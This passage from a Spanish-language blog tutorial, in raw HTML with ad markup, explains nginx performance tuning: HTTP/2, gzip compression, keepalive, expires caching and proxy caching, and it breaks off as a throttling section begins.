100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo vim /etc/nginx/sites-enabled/mi-sitio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Una vez en el archivo vamos a agregar http2 al final de nuestra directiva &lt;em&gt;listen&lt;/em&gt;, en este caso en el puerto 443, por el HTTPS. Si sirves tu contenido sin usar HTTPS puedes agregarlo al puerto 80.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# /etc/nginx/sites-enabled/mi-sitio&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    listen &lt;span style=&#34;color:#ff9f43&#34;&gt;443&lt;/span&gt; ssl http2; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    listen &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;::&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:443 ssl http2;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Recuerda que &lt;strong&gt;tras cada cambio que hagamos será necesario recargar nginx&lt;/strong&gt; para que adopte los nuevos valores.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo systemctl reload nginx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si ahora hacemos una petición a nuestro sitio web podremos corroborar si nuestro contenido se está sirviendo con el protocolo HTTP/2&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl https://tu-sitio-web.com -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/2 &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: nginx&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ... &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;habilitar-compresion-gzip-en-nginx&#34;&gt;Habilitar compresión gzip en nginx&lt;/h2&gt;&#xA;&lt;p&gt;La compresión gzip nos permite reducir el tamaño de los recursos que mandamos, tampoco suele venir habilitada por defecto.&lt;/p&gt;&#xA;&lt;p&gt;Para habilitarla vamos a modificar el archivo de configuración de nginx. Recuerda que también puedes habilitarlas individualmente dentro de la directiva http en cada sitio web, pero para este caso colocaremos el cache de manera universal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;vim /etc/nginx/nginx.conf&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Si nos dirigimos a la sección de Gzip veremos varios valores comentados.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# /etc/nginx/nginx.conf&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip on;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip_disable &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;msie6&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# gzip_vary on;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# gzip_proxied any;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# gzip_comp_level 6;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# gzip_buffers 16 8k;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# gzip_http_version 1.1;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# gzip min_length 256;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Entre los valores comentados están la longitud mínima para comprimir, el nivel de compresión, si queremos aplicar compresión para solicitudes de un proxy, los tipos MIME que recibirán compresión y otras opciones.&lt;/p&gt;&#xA;&lt;p&gt;Vamos a descomentarlos todas. Además agregaremos unos cuantos tipos MIME a la opción &lt;em&gt;gzip_types&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# /etc/nginx/nginx.conf&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip on;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip_disable &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;msie6&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip_vary on;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip_proxied any;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip_comp_level 6;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip_buffers &lt;span style=&#34;color:#ff9f43&#34;&gt;16&lt;/span&gt; 8k;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip_http_version 1.1;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip min_length 256;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss application/vnd.ms-fontobject application/x-font-ttf font/opentype image/svg+xml image/x-icon image/jpg image/png;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Recuerda que puedes consultar todos los tipos MIME disponibles de manera amigable haciendo un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/linux/conoce-bat-en-linux-el-cat-con-resaltado-de-sintaxis/&#34;&gt;bat&lt;/a&gt;&#xA; o un cat al siguiente archivo:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo bat /etc/nginx/mime.types&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora ya solo necesitas colocar los que consideres convenientes para tu aplicación. Recuerda también que &lt;strong&gt;usar la compresión hace más ligera la transferencia al usuario pero aumenta la carga del servidor al comprimir&lt;/strong&gt;, por lo que tienes que evaluar que te conviene comprimir y que no.&lt;/p&gt;&#xA;&lt;p&gt;Si haces un &lt;em&gt;curl&lt;/em&gt; a alguno de los recursos para los que habilitaste compresión con el header &amp;ldquo;Accept-Encoding: gzip&amp;rdquo; podrás apreciar que la respuesta vendrá comprimida. Recuerda recargar el servidor para que los cambios surtan efecto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -H &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Accept-Encoding: gzip&amp;#34;&lt;/span&gt; https://tu-sitio-web.com&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;x-frame-options: DENY&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;x-content-type-options: nosniff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-encoding: gzip&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;keepalive-en-ngnix&#34;&gt;keepalive en Ngnix&lt;/h2&gt;&#xA;&lt;p&gt;El valor de configuración de nginx, keepalive_timeout, le dice al servidor &lt;strong&gt;cuanto tiempo debe mantener activa la conexión TCP para múltiples respuestas HTTP.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sobre simplificando este concepto, podemos encontrar una similitud entre una conexión TCP y una llamada telefónica. Imaginemos dos escenarios:&lt;/p&gt;&#xA;&lt;p&gt;El primer escenario es el siguiente: te piden que cuides a tus sobrinos y tus preocupados hermanos necesitan que les confirmes en voz viva, cada dos horas, que todo está bien. No tendría sentido llamar por teléfono y mantener la llamada toda la noche solo para estar diciéndoles &amp;ldquo;todo está bien&amp;rdquo; cada dos horas, es mejor colgar y repetir la llamada pasado ese tiempo. Así no mantenemos la linea ocupada. Es decir, lo mejor es llamar, confirmar que todo está bien y colgar.&lt;/p&gt;&#xA;&lt;p&gt;El segundo escenario va así: estás hablando con tu mejor amiga, tienes muchísimas cosas que contarle, por lo que la llamas, la llamada dura mucho tiempo y, todo el tiempo están intercambiando mensajes, uno tras otro. No tendría sentido colgar y llamar entre cada intercambio de mensajes, es mejor mantenerla hasta que le hayas contado (y ella a ti) todo lo que tengas que decirle.&lt;/p&gt;&#xA;&lt;p&gt;El valor de nginx keepalive será la duración de esta llamada, en el primer escenario es corto, en el segundo largo. ¿Cuál es mejor? ese valor debes decidirlo tú, con base en el comportamiento de tus usuarios, el valor por defecto es 75, yo usaré un 65.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# /etc/nginx/nginx.conf&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;keepalive_timeout 65;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;cache-en-nginx&#34;&gt;Caché en Nginx&lt;/h2&gt;&#xA;&lt;p&gt;Usar cache puede mejorar enormemente el rendimiento de tu servidor. Para habilitar cache basta con &lt;strong&gt;agregar la palabra &lt;em&gt;expires&lt;/em&gt;&lt;/strong&gt;, seguido de la duración a los recursos que queremos colocar en cache.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;location /static/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    root /app/static/;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    expires 30d; &lt;span style=&#34;color:#78787e&#34;&gt;# También hubiera funcionado 1M&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Yo he colocado 30 días, pero puedes usar cualquier otro valor que prefieras.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Abreviación&lt;/th&gt;&#xA;          &lt;th&gt;Significado&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;ms&lt;/td&gt;&#xA;          &lt;td&gt;milisegundos&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;s&lt;/td&gt;&#xA;          &lt;td&gt;segundos&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;m&lt;/td&gt;&#xA;          &lt;td&gt;minutos&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;h&lt;/td&gt;&#xA;          &lt;td&gt;horas&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;d&lt;/td&gt;&#xA;          &lt;td&gt;días&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;w&lt;/td&gt;&#xA;          &lt;td&gt;semanas&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;M&lt;/td&gt;&#xA;          &lt;td&gt;Meses, 30 días&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;y&lt;/td&gt;&#xA;          &lt;td&gt;Años, 365 días&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Información tomada de la documentación oficial &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://nginx.org/en/docs/syntax.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;http://nginx.org/en/docs/syntax.html&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Si haces una petición web a la ruta que está siendo cacheada deberías recibir una cabecera cache-control con el tiempo en segundos que especificaste (En mi caso 2592000 segundos, que son 30 días). Asegúrate de recargar el servidor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -I https://tu-sitio-web.com/static/imagen.jpg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cache-control: max-age&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2592000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;creacion-de-un-upstream-cache&#34;&gt;Creación de un upstream cache&lt;/h2&gt;&#xA;&lt;p&gt;Primero vamos a crear el path donde se almacenará la caché, en este caso vamos directo a la ruta &lt;em&gt;/var/cache/&lt;/em&gt;, pero podría ser en cualquier otro lado&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;proxy_cache_path /var/cache/nginx &lt;span style=&#34;color:#ff5c57&#34;&gt;levels&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1:2 &lt;span style=&#34;color:#ff5c57&#34;&gt;keys_zone&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;cache:10m &lt;span style=&#34;color:#ff5c57&#34;&gt;inactive&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;60m;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El argumento &lt;em&gt;inactive&lt;/em&gt; de proxy_cache_path establece el tiempo que se almacenará la respuesta en la caché tras su último uso.&lt;/p&gt;&#xA;&lt;p&gt;Y ahora vamos agregar los headers necesarios para que el navegador entienda que tiene que guardar la respuesta.&lt;/p&gt;&#xA;&lt;p&gt;Mediante la directiva &lt;em&gt;proxy_cache_valid&lt;/em&gt; le damos una validez a la respuesta, antes de que transcurra ese tiempo, la respuesta se considerará aún válida y se devolverá sin consultar al backend.&lt;/p&gt;&#xA;&lt;p&gt;Es importante que notes que &lt;em&gt;proxy_cache_path&lt;/em&gt; debe tener un tiempo de inactividad mayor que el tiempo de expiración de las peticiones (proxy_cache_valid).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;location /url &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    proxy_set_header X-Forwarded-For &lt;span style=&#34;color:#ff5c57&#34;&gt;$proxy_add_x_forwarded_for&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    proxy_set_header Host &lt;span style=&#34;color:#ff5c57&#34;&gt;$host&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    proxy_redirect off;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    proxy_buffering off;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    proxy_cache cache;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    proxy_cache_valid any 2h; &lt;span style=&#34;color:#78787e&#34;&gt;# 200 instead of any is also valid&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    add_header X-Proxy-Cache &lt;span style=&#34;color:#ff5c57&#34;&gt;$upstream_cache_status&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;implementa-throttling&#34;&gt;Implementa Throttling&lt;/h2&gt;&#xA;&lt;p&gt;Si existen algunos clientes que realizan muchas peticiones, manteniendo tu servidor ocupado y afectando al resto de los usuarios, puedes implementar Throttling para limitar su impacto. Si quieres saber más al respecto tengo una entrada donde hablo del &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/throttling-en-nginx/&#34;&gt;Throttling en Nginx.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span 